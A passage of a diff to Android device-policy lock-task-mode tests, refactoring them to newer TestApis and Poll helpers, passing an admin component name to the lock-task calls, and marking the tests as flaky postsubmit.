             activity.activity().finish();
 
-            // TODO(b/189327037): Replace with more direct integration between TestApp and EventLib
-            EventLogs<ActivityDestroyedEvent> events =
-                    ActivityDestroyedEvent.queryPackage(sTestApp.packageName())
-                    .whereActivity().activityClass().className().isEqualTo(
-                            activity.activity().component().className());
-            assertThat(events.poll()).isNotNull();
-            assertThat(sTestApis.activities().foregroundActivity()).isNotEqualTo(
+            assertThat(activity.activity().events().activityDestroyed()).eventOccurred();
+            assertThat(TestApis.activities().foregroundActivity()).isNotEqualTo(
                     activity.activity().component());
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setLockTaskPackages_removingCurrentlyLockedTask_taskFinishes() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                new String[]{sTestApp.packageName()});
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented())) {
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
+        try (TestAppInstance testApp = sTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
             activity.startLockTask();
 
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{});
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{});
 
-            // TODO(b/189327037): Replace with more direct integration between TestApp and EventLib
-            EventLogs<ActivityDestroyedEvent> events =
-                    ActivityDestroyedEvent.queryPackage(sTestApp.packageName())
-                            .whereActivity().activityClass().className().isEqualTo(
-                                    activity.activity().component().className());
-            assertThat(events.poll()).isNotNull();
-            assertThat(sTestApis.activities().foregroundActivity()).isNotEqualTo(
+            assertThat(activity.activity().events().activityDestroyed()).eventOccurred();
+            assertThat(TestApis.activities().foregroundActivity()).isNotEqualTo(
                     activity.activity().component());
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setLockTaskPackages_removingCurrentlyLockedTask_otherLockedTasksRemainLocked() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
-        sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                new String[]{sTestApp.packageName(), sSecondTestApp.packageName()});
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented());
-             TestAppInstanceReference testApp2 =
-                     sSecondTestApp.install(sTestApis.users().instrumented())) {
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
+        sDeviceState.dpc().devicePolicyManager()
+                .setLockTaskPackages(DPC_COMPONENT_NAME,
+                        new String[]{sTestApp.packageName(), sSecondTestApp.packageName()});
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             Activity<TestAppActivity> activity = testApp.activities().any().start();
             activity.startLockTask();
             Activity<TestAppActivity> activity2 = testApp2.activities().any().start();
             activity2.startLockTask();
 
             try {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                        new String[]{sTestApp.packageName()});
+                sDeviceState.dpc().devicePolicyManager()
+                        .setLockTaskPackages(DPC_COMPONENT_NAME,
+                                new String[]{sTestApp.packageName()});
 
-                // TODO(b/189327037): Replace with more direct integration between TestApp and EventLib
-                EventLogs<ActivityDestroyedEvent> events =
-                        ActivityDestroyedEvent.queryPackage(sSecondTestApp.packageName())
-                                .whereActivity().activityClass().className().isEqualTo(
-                                activity2.activity().component().className());
-                assertThat(events.poll()).isNotNull();
-                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                assertThat(activity2.activity().events().activityDestroyed()).eventOccurred();
+                assertThat(TestApis.activities().getLockTaskModeState()).isEqualTo(
                         LOCK_TASK_MODE_LOCKED);
-                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
                         activity.activity().component());
             } finally {
                 activity.stopLockTask();
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startActivity_withinSameTask_startsActivity() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented());
-             TestAppInstanceReference testApp2 =
-                     sSecondTestApp.install(sTestApis.users().instrumented())) {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                    new String[]{sTestApp.packageName()});
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, new String[]{sTestApp.packageName()});
             Activity<TestAppActivity> firstActivity = testApp.activities().any().start();
             TestAppActivityReference secondActivity = testApp2.activities().any();
             Intent secondActivityIntent = new Intent();
@@ -619,34 +643,34 @@
 
             firstActivity.startActivity(secondActivityIntent);
 
-            EventLogs<ActivityStartedEvent> events =
-                    ActivityStartedEvent.queryPackage(sSecondTestApp.packageName())
-                            .whereActivity().activityClass().className().isEqualTo(
-                                    secondActivity.component().className());
-            assertThat(events.poll()).isNotNull();
-            assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(secondActivity.component());
+            assertThat(secondActivity.events().activityStarted()).eventOccurred();
+            assertThat(TestApis.activities().foregroundActivity())
+                    .isEqualTo(secondActivity.component());
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startActivity_withinSameTask_blockStartInTask_doesNotStart() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
         int originalLockTaskFeatures =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented());
-             TestAppInstanceReference testApp2 =
-                     sSecondTestApp.install(sTestApis.users().instrumented())) {
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskFeatures(DPC_COMPONENT_NAME);
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             try {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                        new String[]{sTestApp.packageName()});
-                sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(
-                        LOCK_TASK_FEATURE_BLOCK_ACTIVITY_START_IN_TASK);
+                sDeviceState.dpc().devicePolicyManager()
+                        .setLockTaskPackages(DPC_COMPONENT_NAME,
+                                new String[]{sTestApp.packageName()});
+                sDeviceState.dpc().devicePolicyManager()
+                        .setLockTaskFeatures(DPC_COMPONENT_NAME,
+                                LOCK_TASK_FEATURE_BLOCK_ACTIVITY_START_IN_TASK);
                 Activity<TestAppActivity> firstActivity = testApp.activities().any().start();
                 firstActivity.startLockTask();
                 TestAppActivityReference secondActivity = testApp2.activities().any();
@@ -655,34 +679,39 @@
 
                 firstActivity.activity().startActivity(secondActivityIntent);
 
-                assertThat(sTestApis.activities().foregroundActivity())
-                        .isEqualTo(BLOCKED_ACTIVITY_COMPONENT);
+                Poll.forValue("Foreground activity",
+                        () -> TestApis.activities().foregroundActivity())
+                        .toBeEqualTo(BLOCKED_ACTIVITY_COMPONENT)
+                        .errorOnFail()
+                        .await();
             } finally {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                        originalLockTaskPackages);
+                sDeviceState.dpc().devicePolicyManager()
+                        .setLockTaskPackages(DPC_COMPONENT_NAME, originalLockTaskPackages);
                 sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(
-                        originalLockTaskFeatures);
+                        DPC_COMPONENT_NAME, originalLockTaskFeatures);
             }
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startActivity_inNewTask_blockStartInTask_doesNotStart() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskPackages(DPC_COMPONENT_NAME);
         int originalLockTaskFeatures =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented());
-             TestAppInstanceReference testApp2 =
-                     sSecondTestApp.install(sTestApis.users().instrumented())) {
+                sDeviceState.dpc().devicePolicyManager()
+                        .getLockTaskFeatures(DPC_COMPONENT_NAME);
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             try {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                        new String[]{sTestApp.packageName()});
-                sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(
-                        LOCK_TASK_FEATURE_BLOCK_ACTIVITY_START_IN_TASK);
+                sDeviceState.dpc().devicePolicyManager()
+                        .setLockTaskPackages(DPC_COMPONENT_NAME,
+                                new String[]{sTestApp.packageName()});
+                sDeviceState.dpc().devicePolicyManager()
+                        .setLockTaskFeatures(
+                                DPC_COMPONENT_NAME, LOCK_TASK_FEATURE_BLOCK_ACTIVITY_START_IN_TASK);
                 Activity<TestAppActivity> firstActivity = testApp.activities().any().start();
                 firstActivity.startLockTask();
                 TestAppActivityReference secondActivity = testApp2.activities().any();
@@ -692,30 +721,31 @@
 
                 firstActivity.activity().startActivity(secondActivityIntent);
 
-                assertThat(sTestApis.activities().foregroundActivity())
-                        .isEqualTo(BLOCKED_ACTIVITY_COMPONENT);
+                Poll.forValue("Foreground activity",
+                        () -> TestApis.activities().foregroundActivity())
+                        .toBeEqualTo(BLOCKED_ACTIVITY_COMPONENT)
+                        .errorOnFail()
+                        .await();
             } finally {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         originalLockTaskPackages);
                 sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(
-                        originalLockTaskFeatures);
+                        DPC_COMPONENT_NAME, originalLockTaskFeatures);
             }
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startActivity_fromPermittedPackage_newTask_starts() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented());
-             TestAppInstanceReference testApp2 =
-                     sSecondTestApp.install(sTestApis.users().instrumented())) {
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             try {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         new String[]{sTestApp.packageName(), sSecondTestApp.packageName()});
                 Activity<TestAppActivity> firstActivity = testApp.activities().any().start();
                 firstActivity.startLockTask();
@@ -726,28 +756,26 @@
 
                 firstActivity.startActivity(secondActivityIntent);
 
-                assertThat(sTestApis.activities().foregroundActivity())
+                assertThat(TestApis.activities().foregroundActivity())
                         .isEqualTo(secondActivity.component());
             } finally {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         originalLockTaskPackages);
             }
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startActivity_fromNonPermittedPackage_newTask_doesNotStart() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented());
-             TestAppInstanceReference testApp2 =
-                     sSecondTestApp.install(sTestApis.users().instrumented())) {
+        try (TestAppInstance testApp = sTestApp.install();
+             TestAppInstance testApp2 = sSecondTestApp.install()) {
             try {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         new String[]{sTestApp.packageName()});
                 Activity<TestAppActivity> firstActivity = testApp.activities().any().start();
                 firstActivity.startLockTask();
@@ -758,56 +786,54 @@
 
                 firstActivity.activity().startActivity(secondActivityIntent);
 
-                assertThat(sTestApis.activities().foregroundActivity())
+                assertThat(TestApis.activities().foregroundActivity())
                         .isEqualTo(firstActivity.activity().component());
             } finally {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         originalLockTaskPackages);
             }
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startActivity_lockTaskEnabledOption_startsInLockTaskMode() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented())) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             try {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         new String[]{sTestApp.packageName()});
                 Bundle options = ActivityOptions.makeBasic().setLockTaskEnabled(true).toBundle();
                 Activity<TestAppActivity> activity = testApp.activities().any().start(options);
 
                 try {
-                    assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                    assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
                             activity.activity().component());
-                    assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                    assertThat(TestApis.activities().getLockTaskModeState()).isEqualTo(
                             LOCK_TASK_MODE_LOCKED);
                 } finally {
                     activity.stopLockTask();
                 }
             } finally {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         originalLockTaskPackages);
             }
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startActivity_lockTaskEnabledOption_notAllowedPackage_throwsException() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp =
-                     sTestApp.install(sTestApis.users().instrumented())) {
+        try (TestAppInstance testApp = sTestApp.install()) {
             try {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         new String[]{});
                 Bundle options = ActivityOptions.makeBasic().setLockTaskEnabled(true).toBundle();
 
@@ -815,22 +841,21 @@
                     testApp.activities().any().start(options);
                 });
             } finally {
-                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                         originalLockTaskPackages);
             }
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startActivity_ifWhitelistedActivity_startsInLockTaskMode() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp =
-                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{sLockTaskTestApp.packageName()});
             Activity<TestAppActivity> activity = testApp.activities().query()
                     .whereActivity().activityClass().simpleName().isEqualTo("ifwhitelistedactivity")
@@ -839,29 +864,28 @@
                     .get().start();
 
             try {
-                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
                         activity.activity().component());
-                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                assertThat(TestApis.activities().getLockTaskModeState()).isEqualTo(
                         LOCK_TASK_MODE_LOCKED);
             } finally {
                 activity.stopLockTask();
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void startActivity_ifWhitelistedActivity_notWhitelisted_startsNotInLockTaskMode() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp =
-                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{});
             Activity<TestAppActivity> activity = testApp.activities().query()
                     .whereActivity().activityClass().simpleName().isEqualTo("ifwhitelistedactivity")
@@ -870,29 +894,28 @@
                     .get().start();
 
             try {
-                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
                         activity.activity().component());
-                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                assertThat(TestApis.activities().getLockTaskModeState()).isEqualTo(
                         LOCK_TASK_MODE_NONE);
             } finally {
                 activity.stopLockTask();
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void finish_ifWhitelistedActivity_doesNotFinish() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp =
-                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{sLockTaskTestApp.packageName()});
             Activity<TestAppActivity> activity = testApp.activities().query()
                     .whereActivity().activityClass().simpleName().isEqualTo("ifwhitelistedactivity")
@@ -905,29 +928,28 @@
             try {
                 // We don't actually watch for the Destroyed event because that'd be waiting for a
                 // non occurrence of an event which is slow
-                assertThat(sTestApis.activities().foregroundActivity()).isEqualTo(
+                assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
                         activity.activity().component());
-                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                assertThat(TestApis.activities().getLockTaskModeState()).isEqualTo(
                         LOCK_TASK_MODE_LOCKED);
             } finally {
                 activity.stopLockTask();
             }
         } finally {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setLockTaskPackages_removingExistingIfWhitelistedActivity_stopsTask() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
 
-        try (TestAppInstanceReference testApp =
-                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{sLockTaskTestApp.packageName()});
             Activity<TestAppActivity> activity = testApp.activities().query()
                     .whereActivity().activityClass().simpleName().isEqualTo("ifwhitelistedactivity")
@@ -935,34 +957,31 @@
                     //  this so we just get a fixed package which contains a fixed activity
                     .get().start();
 
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(new String[]{});
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
+                    new String[]{});
 
-            EventLogs<ActivityDestroyedEvent> events =
-                    ActivityDestroyedEvent.queryPackage(sLockTaskTestApp.packageName())
-                            .whereActivity().activityClass().className().isEqualTo(
-                            activity.activity().component().className());
-            assertThat(events.poll()).isNotNull();
-            assertThat(sTestApis.activities().foregroundActivity()).isNotEqualTo(
+            assertThat(activity.activity().events().activityDestroyed()).eventOccurred();
+            assertThat(TestApis.activities().foregroundActivity()).isNotEqualTo(
                     activity.activity().component());
         } finally {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                    originalLockTaskPackages);
+                    DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     @RequireFeature(FEATURE_TELEPHONY)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     // Tests that the default dialer doesn't crash or otherwise misbehave in lock task mode
     public void launchDefaultDialerInLockTaskMode_launches() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
         TelecomManager telecomManager =
-                sTestApis.context().instrumentedContext().getSystemService(TelecomManager.class);
+                TestApis.context().instrumentedContext().getSystemService(TelecomManager.class);
         String dialerPackage = telecomManager.getSystemDialerPackage();
         try {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{dialerPackage});
 
             Bundle options = ActivityOptions.makeBasic().setLockTaskEnabled(true).toBundle();
@@ -970,39 +989,41 @@
             intent.setPackage(dialerPackage);
             intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
 
-            sTestApis.context().instrumentedContext().startActivity(intent, options);
-            PollingCheck.waitFor(() -> {
-                PackageReference pkg = sTestApis.activities().foregroundActivity().packageName();
-                if (pkg == null) {
-                    return false;
-                }
-                return pkg.packageName().equals(dialerPackage);
-            });
+            TestApis.context().instrumentedContext().startActivity(intent, options);
 
-            assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
-                    LOCK_TASK_MODE_LOCKED);
+            Poll.forValue("Foreground package",
+                    () -> TestApis.activities().foregroundActivity().pkg())
+                    .toMeet(pkg -> pkg != null && pkg.packageName().equals(dialerPackage))
+                    .errorOnFail()
+                    .await();
+
+            Poll.forValue("Lock task mode state",
+                    () -> TestApis.activities().getLockTaskModeState())
+                    .toBeEqualTo(LOCK_TASK_MODE_LOCKED)
+                    .errorOnFail()
+                    .await();
         } finally {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                    originalLockTaskPackages);
+                    DPC_COMPONENT_NAME, originalLockTaskPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     @RequireFeature(FEATURE_TELEPHONY)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void launchEmergencyDialerInLockTaskMode_notWhitelisted_noKeyguardFeature_doesNotLaunch() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
         int originalLockTaskFeatures =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures(DPC_COMPONENT_NAME);
         String emergencyDialerPackageName = getEmergencyDialerPackageName();
         assumeFalse(emergencyDialerPackageName == null);
-        try (TestAppInstanceReference testApp =
-                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
-            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(DPC_COMPONENT_NAME,
                     new String[]{sLockTaskTestApp.packageName()});
-            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(0);
+            sDeviceState.dpc().devicePolicyManager()
+                    .setLockTaskFeatures(DPC_COMPONENT_NAME, 0);
             Activity<TestAppActivity> activity = testApp.activities().any().start();
 
             try {
@@ -1012,8 +1033,8 @@
 
                 activity.activity().startActivity(intent);
 
-                if (sTestApis.activities().foregroundActivity() != null) {
-                    assertThat(sTestApis.activities().foregroundActivity().packageName()).isNotEqualTo(
+                if (TestApis.activities().foregroundActivity() != null) {
+                    assertThat(TestApis.activities().foregroundActivity().pkg()).isNotEqualTo(
                             emergencyDialerPackageName);
                 }
             } finally {
@@ -1021,27 +1042,28 @@
             }
         } finally {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                    originalLockTaskPackages);
-            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(originalLockTaskFeatures);
+                    DPC_COMPONENT_NAME, originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(DPC_COMPONENT_NAME,
+                    originalLockTaskFeatures);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = LockTask.class)
     @RequireFeature(FEATURE_TELEPHONY)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void launchEmergencyDialerInLockTaskMode_notWhitelisted_keyguardFeature_launches() {
         String[] originalLockTaskPackages =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages(DPC_COMPONENT_NAME);
         int originalLockTaskFeatures =
-                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
+                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures(DPC_COMPONENT_NAME);
         String emergencyDialerPackageName = getEmergencyDialerPackageName();
         assumeFalse(emergencyDialerPackageName == null);
-        try (TestAppInstanceReference testApp =
-                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
+        try (TestAppInstance testApp = sLockTaskTestApp.install()) {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                    new String[]{sLockTaskTestApp.packageName()});
-            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(LOCK_TASK_FEATURE_KEYGUARD);
+                    DPC_COMPONENT_NAME, new String[]{sLockTaskTestApp.packageName()});
